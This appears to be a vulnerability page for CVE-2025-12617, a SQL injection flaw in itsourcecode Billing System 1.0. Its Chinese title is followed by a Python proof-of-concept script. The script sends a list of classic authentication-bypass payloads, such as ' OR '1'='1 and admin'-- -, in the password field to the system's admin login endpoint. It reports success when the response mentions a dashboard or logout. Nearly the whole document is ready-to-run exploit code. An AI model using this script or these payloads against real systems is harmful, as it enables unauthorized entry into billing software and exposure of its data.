CVE-2025-12617 itsourcecode Billing System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-12617 SQL Injection PoC # Target: itsourcecode Billing System 1.0 # Vulnerability: SQL Injection in /admin/app/login_crud.php (Password parameter) target_url = "http://target.com/admin/app/login_crud.php" # Login bypass payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' #", "admin'-- -", "' OR 1=1--", ] def test_sql_injection(): print("[*] Testing CVE-2025-12617 SQL Injection...") print(f"[*] Target: {target_url}") for payload in payloads: data = { "username": "admin", "password": payload } try: response = requests.post(target_url, data=data, timeout=10) # Check for successful login indicators if response.status_code == 200: if "dashboard" in response.text.lower() or "logout" in response.text.lower(): print(f"[+] VULNERABLE! Payload: {payload}") print(f"[+] Authentication bypass successful") return True else: print(f"[-] Failed with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": test_sql_injection()